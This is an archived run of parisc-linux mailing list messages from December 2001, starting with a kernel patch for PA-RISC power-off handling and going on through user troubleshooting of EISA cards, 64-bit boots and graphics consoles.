 - 2.4.16-pa27
 - simpler and warning-free asm() statemnt in power-off code
 - use cad_pid from kernel/sys.c instead of hardcoded pid 1 for killing init
   process 
- print shutdown-msg on LCD if CONFIG_CHASSIS_LCD_LED is compiled in


--------------Boundary-00=_FT4ZRRD4S05BF82CY4HF
Content-Type: text/plain;
  charset="iso-8859-1";
  name="diff1"
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="diff1"

Index: linux/Makefile
===================================================================
RCS file: /var/cvs/linux/Makefile,v
retrieving revision 1.231
diff -u -p -r1.231 Makefile
--- linux/Makefile	2001/12/26 22:02:47	1.231
+++ linux/Makefile	2001/12/26 23:16:09
@@ -1,7 +1,7 @@
 VERSION = 2
 PATCHLEVEL = 4
 SUBLEVEL = 16
-EXTRAVERSION = -pa26
+EXTRAVERSION = -pa27
 
 KERNELRELEASE=$(VERSION).$(PATCHLEVEL).$(SUBLEVEL)$(EXTRAVERSION)
 
Index: linux/arch/parisc/kernel/power.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/power.c,v
retrieving revision 1.4
diff -u -p -r1.4 power.c
--- linux/arch/parisc/kernel/power.c	2001/12/05 18:46:30	1.4
+++ linux/arch/parisc/kernel/power.c	2001/12/26 23:16:20
@@ -15,11 +15,6 @@
  * - ....
  */
 
-#include <asm/irq.h>
-#include <asm/pdc.h>
-#include <asm/gsc.h>
-#include <asm/io.h>
-
 #include <linux/init.h>
 #include <linux/kernel.h>
 #include <linux/string.h>
@@ -27,6 +22,12 @@
 #include <linux/sched.h>
 #include <linux/interrupt.h>
 
+#include <asm/gsc.h>
+#include <asm/pdc.h>
+#include <asm/irq.h>
+#include <asm/io.h>
+#include <asm/led.h>
+
 
 /* For kernel debugging purposes it's sometimes better to have
  * the soft-power switch killing the power at once.
@@ -38,23 +39,21 @@
 /* local time-counter for shutdown */
 static int shutdown_timer;
 
+#define DIAG_CODE(code)		(0x14000000 + ((code)<<5))
 
 /* this will go to processor.h or any other place... */
-/* taken from PCXL ERS pg 82 */
+/* taken from PCXL ERS page 82 */
 #define MFCPU_X(rDiagReg, t_ch, t_th, code) \
-	(0x14000000 + ((rDiagReg)<<21) + ((t_ch)<<16) + ((code)<<5) + ((t_th)<<0) )
+	(DIAG_CODE(code) + ((rDiagReg)<<21) + ((t_ch)<<16) + ((t_th)<<0) )
 	
+#define MTCPU(dr, gr)		MFCPU_X(dr, gr,  0, 0x12)       /* move value of gr to dr[dr] */
 #define MFCPU_C(dr, gr)		MFCPU_X(dr, gr,  0, 0x30)	/* for dr0 and dr8 only ! */
 #define MFCPU_T(dr, gr)		MFCPU_X(dr,  0, gr, 0xa0)	/* all dr except dr0 and dr8 */
 	
 #define __getDIAG(dr) ( { 			\
         register unsigned long __res asm("r28");\
-	__asm__ __volatile__ (			\
-		".word %0 \n\t"			\
-		"nop \n\t"			\
-		: 				\
-		: "i" (MFCPU_T(dr,28))		\
-		: "memory"			\
+	 __asm__ __volatile__ (			\
+		".word %1\n nop\n" : "=&r" (__res) : "i" (MFCPU_T(dr,28)) \
 	);					\
 	__res;					\
 } )
@@ -64,7 +63,8 @@ static int shutdown_timer;
 
 static void deferred_poweroff(void *dummy)
 {
-	kill_proc(1, SIGINT, 0);
+	extern int cad_pid;	/* kernel/sys.c */
+	kill_proc(cad_pid, SIGINT, 1);
 	/* machine_power_off(); */
 }
 
@@ -98,7 +98,11 @@ static void process_shutdown(void)
 	
 	/* wait until the button was pressed for 1 second */
 	if (shutdown_timer == HZ) {
-		printk(KERN_INFO "Shutting down...\n");
+		static char msg[] = "Shutting down...";
+		printk(KERN_INFO "%s\n", msg);
+#ifdef CONFIG_CHASSIS_LCD_LED
+		lcd_print(msg);
+#endif
 		poweroff();
 	}
 }

--------------Boundary-00=_FT4ZRRD4S05BF82CY4HF--




From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Oops...
Date: Wed, 26 Dec 2001 20:01:07 -0900 (AKST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112261956090.3248-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620884 32119 80.91.229.3 (22 Nov 2014 01:48:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:04 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 26 22:04:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id E85634842
	for <parisc-linux@parisc-linux.org>; Wed, 26 Dec 2001 22:03:58 -0700 (MST)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GOZKQG00.HBT for
          <parisc-linux@parisc-linux.org>; Wed, 26 Dec 2001 20:03:52 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GOZKQH02.93B for <parisc-linux@parisc-linux.org>; Wed, 26 Dec
          2001 20:03:53 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA03315
	for <parisc-linux@parisc-linux.org>; Wed, 26 Dec 2001 20:01:07 -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13469

Perhaps I spoke too soon about -pa24 being good. After compiling and
rebooting with -pa24, then an apt-get update/dist-upgrade, make no longer
works. Ran a cvs update to -pa27, which had no effect, of course... All I
get is a pause with "_ESCOA", then either a segfault or "Trace/breakpoint
trap" (random).

Any ideas how to troubleshoot this one? I can always reboot to the 2.4.9
kernel, then try to recompile with -pa27, but if I can drag a little info
out of this I'm more than happy to do so.

Everything else appears to work fine...




From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Q] on EISA support
Date: Wed, 26 Dec 2001 21:25:25 -0800
Lines: 46
Approved: news@gmane.org
Message-ID: <20011226212525.0d086b16.csuder@cisco.com>
References: <4.3.2.7.2.20011226135241.027fc090@mira-sjc5-9.cisco.com>
	<20011226223124.68FBB4848@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620884 32123 80.91.229.3 (22 Nov 2014 01:48:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 26 22:25:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB888484F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Dec 2001 22:25:28 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBR5PRq09947;
	Wed, 26 Dec 2001 21:25:27 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ABR93906;
	Wed, 26 Dec 2001 21:25:34 -0800 (PST)
In-Reply-To: <20011226223124.68FBB4848@dsl2.external.hp.com>
X-Mailer: Sylpheed version 0.6.5 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13470

On Wed, 26 Dec 2001 23:30:16 +0100
"Helge Deller" <deller@gmx.de> wrote:

> On Wednesday 26 December 2001 23:13, Christian Suder wrote:
> > Tried a NE2000 clone too, which was detected but with the wrong interrupt.
> > That might be because it's a "hard" configured plug&pray card. PCs have no
> > problems detecting the settings correctly, though.
> 
> Hi Christian,
> 
> Did you tried the "eisa_irq_edge=3,4,5,7,9,10,11,14,15" palo parameter ?
> In case your NE2000 card is an ISA card you need to set the EISA irq's to
> edge mode which is done with the above command.
> Maybe we should think about adding a /proc-interface here ?
> 

Thanks Helge,

that "basically" fixed it, i could use the card with 2.4.16-pa23. However as X has problems with this kernel (X server starts but graphics are garbled). I compiled 2.4.16-pa25, and this is what I get: 

Dec 26 20:45:04 c110-linux kernel: Wax EISA Adapter found at 0xfc000000
Dec 26 20:45:04 c110-linux kernel: Warning : device (11, 0x1e, 0x0, 0x90) NOT cl
aimed by EISA Bus Adapter

and then : 
Dec 26 20:45:04 c110-linux kernel: PCI or EISA Host Bus Adapter 0 not registered
. in8(0x300) returning -1
Dec 26 20:45:04 c110-linux kernel: 
Dec 26 20:45:04 c110-linux kernel: PCI or EISA Host Bus Adapter 0 not registered
. in8(0x280) returning -1
Dec 26 20:45:04 c110-linux kernel:
Dec 26 20:45:04 c110-linux kernel: PCI or EISA Host Bus Adapter 0 not registered
. in8(0x320) returning -1

The EISA support should be compiled in, at least I selected it. X is still garbled so no improvement in that area. 

BTW is there a compilation of all the "secret" boot parameters ? It's the second time now that it fixes a problem for me....


Danke nochmal,

	Christian 





From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Q] on EISA support
Date: Thu, 27 Dec 2001 08:51:44 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <200112270851.44909.deller@gmx.de>
References: <4.3.2.7.2.20011226135241.027fc090@mira-sjc5-9.cisco.com> <20011226223124.68FBB4848@dsl2.external.hp.com> <20011226212525.0d086b16.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620885 32130 80.91.229.3 (22 Nov 2014 01:48:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 00:53:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id BAAEF484A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 00:53:41 -0700 (MST)
Original-Received: (qmail 22716 invoked by uid 0); 27 Dec 2001 07:53:36 -0000
Original-Received: from pd9040475.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.4.117)
  by mail.gmx.net (mp016-rz3) with SMTP; 27 Dec 2001 07:53:36 -0000
X-Mailer: KMail [version 1.3.8]
In-Reply-To: <20011226212525.0d086b16.csuder@cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13471

On Thursday 27 December 2001 06:25, Christian Suder wrote:
> On Wed, 26 Dec 2001 23:30:16 +0100
>
> "Helge Deller" <deller@gmx.de> wrote:
> > On Wednesday 26 December 2001 23:13, Christian Suder wrote:
> > > Tried a NE2000 clone too, which was detected but with the wrong
> > > interrupt. That might be because it's a "hard" configured plug&pray
> > > card. PCs have no problems detecting the settings correctly, though.
> >
> > Hi Christian,
> >
> > Did you tried the "eisa_irq_edge=3,4,5,7,9,10,11,14,15" palo parameter ?
> > In case your NE2000 card is an ISA card you need to set the EISA irq's to
> > edge mode which is done with the above command.
> > Maybe we should think about adding a /proc-interface here ?
>
> Thanks Helge,
>
> that "basically" fixed it, i could use the card with 2.4.16-pa23. However
> as X has problems with this kernel (X server starts but graphics are
> garbled). I compiled 2.4.16-pa25, and this is what I get:
>
> Dec 26 20:45:04 c110-linux kernel: Wax EISA Adapter found at 0xfc000000
> Dec 26 20:45:04 c110-linux kernel: Warning : device (11, 0x1e, 0x0, 0x90)
> NOT cl aimed by EISA Bus Adapter
>
> and then :
> Dec 26 20:45:04 c110-linux kernel: PCI or EISA Host Bus Adapter 0 not
> registered . in8(0x300) returning -1
> Dec 26 20:45:04 c110-linux kernel:
> Dec 26 20:45:04 c110-linux kernel: PCI or EISA Host Bus Adapter 0 not
> registered . in8(0x280) returning -1
> Dec 26 20:45:04 c110-linux kernel:
> Dec 26 20:45:04 c110-linux kernel: PCI or EISA Host Bus Adapter 0 not
> registered . in8(0x320) returning -1
>
> The EISA support should be compiled in, at least I selected it. X is still
> garbled so no improvement in that area.
>
> BTW is there a compilation of all the "secret" boot parameters ? It's the
> second time now that it fixes a problem for me....

Hi Christian,

try the default config (remove your .config file and then run "make oldconfig").
It just booted here for me with -pa27, so I assume you may have forgotten the
CONFIG_GSC_WAX=y configuration entry. 
Regarding the "secret" boot parameters I think the eisa_irq_edge and some
SCSI variants are the only one we have. I will add them later today to the FAQ.

Greetings,
Helge




From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux tsbogend
Date: Thu, 27 Dec 2001 09:47:54 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20011227094754.B30605@parcelfarce.linux.theplanet.co.uk>
References: <20011226215742.DBB37482F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620885 32135 80.91.229.3 (22 Nov 2014 01:48:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:05 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 02:47:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3A50E4854; Thu, 27 Dec 2001 02:47:57 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16JX8k-0008Dp-00; Thu, 27 Dec 2001 09:47:54 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011226215742.DBB37482F@dsl2.external.hp.com>; from tsbogend@dsl2.external.hp.com on Wed, Dec 26, 2001 at 02:57:42PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13472

On Wed, Dec 26, 2001 at 02:57:42PM -0700, Thomas Bogendoerfer wrote:
> CVSROOT:	/var/cvs
> Module name:	linux
> Changes by:	tsbogend	01/12/26 14:57:42
> 
> Modified files:
> 	drivers/gsc    : asp.c busdevice.h gsc.c lasi.c wax.c 
> 
> Log message:
> allow the caller of register_busdevice() to povide it's own irq region
> this resolves the problem with dino having a non standard irq region

i'm annoyed you did this rather than simply reorder the code as i said
i had already done in my tree.  please back this out.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit pa20, pa24 fail to boot on my c200
Date: Thu, 27 Dec 2001 10:02:55 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20011227100255.D30605@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.31L.02.0112261221590.5356-100000@linux1.gl.umbc.edu> <jmccla3@gl.umbc.edu> <20011226182102.52C76483F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620885 32138 80.91.229.3 (22 Nov 2014 01:48:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:05 +0000 (UTC)
Cc: James Mcclain <jmccla3@gl.umbc.edu>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 03:03:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19E064856
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 03:03:01 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16JXNH-0008K2-00; Thu, 27 Dec 2001 10:02:55 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011226182102.52C76483F@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Wed, Dec 26, 2001 at 11:21:01AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13473

On Wed, Dec 26, 2001 at 11:21:01AM -0700, Grant Grundler wrote:
> James Mcclain wrote:
> > my machine fails to boot with a 64-bit kernel (either downloaded
> > from the website or built by me).
> 
> See the mail archives at http://lists.parisc-linux.org.
> Search for C200, CONFIG_PDC_NARROW, or 64-bit.
> 
> Short anwser is you need to define CONFIG_PDC_NARROW for 64-bit.

and the really short answer is that there's no point in booting a 64-bit
kernel on a c200.  stick to a 32-bit kernel.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Q] on EISA support
Date: Thu, 27 Dec 2001 10:09:33 +0100 (CET)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0112271005540.27112-100000@www2.scram.de>
References: <4.3.2.7.2.20011226135241.027fc090@mira-sjc5-9.cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620886 32140 80.91.229.3 (22 Nov 2014 01:48:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:06 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 03:19:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F07F485A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 03:19:03 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id fBRAIaj24431;
	Thu, 27 Dec 2001 11:18:36 +0100 (CET)
In-Reply-To: <4.3.2.7.2.20011226135241.027fc090@mira-sjc5-9.cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13474

Hi Christian,

> Note these cards use a memory window - is that possible with the
> current EISA support ?

There seems to be an issue with memory mapped windows currently. I have
similar problems with an token ring card which is detected correctly
(detection only uses port IO), but the memory window is only partially
seen by the CPU.

Cheers,
Jochen




From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sean Anaya" <sanaya@gr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Question on grapics setup
Date: Thu, 27 Dec 2001 06:16:51 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <000001c18ed8$bf13f1c0$b247740f@spawn>
Reply-To: <sanaya@gr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620886 32141 80.91.229.3 (22 Nov 2014 01:48:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:06 +0000 (UTC)
To: "HP Linux Email List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 06:12:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BDF94843
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 06:12:51 -0700 (MST)
Original-Received: from hpgrla.gr.hp.com (hpgrla.gr.hp.com [15.57.1.1])
	by atlrel7.hp.com (Postfix) with ESMTP id 74789E000FD
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 08:12:47 -0500 (EST)
Original-Received: from kontiki.gr.hp.com (kontiki.gr.hp.com [15.38.138.59])
	by hpgrla.gr.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with SMTP id GAA06003
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 06:12:46 -0700 (MST)
Original-Received: from [15.116.71.178] (HELO spawn) by kontiki.gr.hp.com (Stalker SMTP Server 1.8b8) with SMTP id S.0000030554 for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 06:12:52 -0700
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13475

Hi all,

Could anyone point me in the right direction to set up a graphics
moniter. It seems my C180 boots fine with the current CD image with
the serial console.

If I switch to the graphics console the system stops displaying to
the graphics moniter at the "If this is the last message you see
switch consoles..." message in the boot sequence and the screen flashes and
nothing else. The machine does appear to boot as I can telnet in from
a remote system. Any suggestion on where I can see what config files etc
I need to check? I can't seem to ind any information on the web sites.

Thanks!

Sean Anaya
sanaya@gr.hp.com



From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rmmod lasi700 hangs the machine
